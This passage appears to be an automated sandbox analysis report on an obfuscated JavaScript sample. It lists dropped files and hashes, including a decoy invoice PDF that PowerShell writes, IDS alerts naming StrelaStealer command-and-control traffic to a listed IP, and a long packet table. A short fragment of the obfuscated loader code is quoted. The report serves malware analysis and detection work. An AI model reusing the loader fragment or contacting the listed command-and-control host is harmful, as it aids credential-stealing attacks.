SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\bab1b392-3e14-43ee-8f1b-c16b57d08f8a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10208), with no line terminators
Entropy (8bit):	4.995689889051559
TrID:
File name:	14137177262856222939.js
File size:	10'208 bytes
MD5:	be29638077f2b1f9d7c63109f71e1f29
SHA1:	89cf962791c83c46fc4553f188bcd35f0fce904a
SHA256:	114f5200502476785fa5b0c768257cf5118d411fc4f54172d58b18c6d5f8e8fb
SHA512:	9935c27c043d456f4f4c99720f995d62a07235a7e11d64bcb8e6369ba7db81884ce2e410e72b2eea9eeaa90f126476a0719be8f634237b2b632a415b3748bcf4
SSDEEP:	192:Ze6Zi7myX9Xgbi5QelGyu3wFNUv0F7bb2WMO9t/g70g:gGi7mXbi5Qelzu3wFNUv0lbyWdu70g
TLSH:	8F2264F8FD988FC772F57CA3A1824010694EA3467B795363A75A1E54C06CCAB81F607B
File Content Preview:	function ntmmhom(){this[ndohzs+evysdzbwb+xsoan+eipzqci]("ltobo=[1031,3079,5127,4103,2055,3072];var rzlmyhviu=this[jvwcwhl+xsoan+atuvaluad+oxobmr+ndohzs+eozff+cfuvli+fczbyko](this[yqlfhulut+fjrdmkg+ousrices+atuvaluad+cuuzk+jvwcwhl+fczbyko][jhrgkjep+atuvalu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T10:28:16.653723+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49716	193.143.1.205	80	TCP
2025-01-13T10:28:16.653723+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49716	193.143.1.205	80	TCP
2025-01-13T10:28:19.363039+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49717	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 10:28:15.858055115 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:15.863636017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:15.863743067 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:15.866799116 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:15.872467041 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653557062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653589964 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653601885 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653614044 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653631926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653641939 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653652906 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653664112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653675079 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653686047 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.653723001 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.653800011 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.658582926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.658596039 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.658658981 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.708327055 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.708338022 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.708410025 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.770842075 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.770860910 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.770873070 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.770884991 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.770917892 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.770952940 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.771065950 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.771078110 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.771089077 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.771106005 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.771116972 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.771126986 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.771151066 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.772006989 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772017956 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772027969 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772047997 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.772078037 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.772458076 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772468090 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772480011 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772501945 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772510052 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.772515059 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.772536039 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.773379087 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.773389101 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.773399115 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.773422003 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.773443937 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.824455023 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.824471951 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.824531078 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.838387012 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.838398933 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.838481903 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.871368885 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.871387959 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.871397972 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.871462107 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888246059 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888315916 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888335943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888374090 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888407946 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888442039 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888463974 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888477087 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888499975 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888565063 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888766050 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888797045 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888816118 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888832092 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888844013 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888870955 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888916016 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.888942003 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.888992071 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889025927 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889059067 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.889059067 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889117956 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.889646053 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889698982 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889733076 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889765024 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889790058 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.889799118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889821053 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.889833927 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.889878035 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.890587091 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890640974 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890675068 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890693903 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.890707970 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890743017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890778065 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.890790939 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.890824080 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.891536951 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891594887 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891628981 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891644001 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.891663074 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891696930 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891731977 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.891756058 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.891874075 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.892451048 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892502069 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892534971 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892568111 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892580986 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.892610073 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.892618895 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892653942 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.892703056 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.911109924 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.911145926 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.911458969 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.941831112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.941863060 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.941898108 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.941916943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.941921949 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.941936970 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.941979885 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.958127022 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.958163023 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.958215952 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.989149094 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.989192963 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.989213943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.989222050 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.989233017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.989253998 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:16.989487886 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:16.989487886 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.005604029 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005626917 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005646944 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005666971 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005672932 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.005686045 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005705118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005724907 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.005727053 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.005753040 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.006084919 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006104946 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006124020 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006141901 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006150007 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.006161928 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006176949 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.006181002 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.006203890 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007098913 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007119894 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007138968 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007155895 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007174015 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007174969 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007194042 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007200956 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007224083 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007226944 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007246017 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007272005 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007289886 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007293940 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007311106 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007333040 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007395029 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007415056 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007442951 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007477999 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007491112 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007510900 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007529020 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007549047 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.007571936 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.007597923 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.008399963 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008419037 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008438110 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008472919 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.008512974 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008541107 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008559942 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008578062 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008590937 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.008598089 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008616924 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.008635998 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.008661032 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.009443045 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009475946 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009496927 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.009593964 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009629965 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009663105 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009679079 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.009696960 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009718895 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.009730101 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009763002 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009777069 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.009795904 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.009869099 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.010154009 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010188103 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010230064 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010272026 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.010317087 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010350943 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010365963 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.010524988 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010565996 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010575056 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.010691881 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010725975 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.010751009 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.011394978 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011428118 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011450052 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.011461973 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011497021 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011507988 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.011529922 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011562109 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011579037 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.011596918 CET	80	49716	193.143.1.205	192.168.2.5
Jan 13, 2025 10:28:17.011652946 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.012186050 CET	49716	80	192.168.2.5	193.143.1.205
Jan 13, 2025 10:28:17.012243986 CET	49716	80	192.168.2.5	193.143.1.205
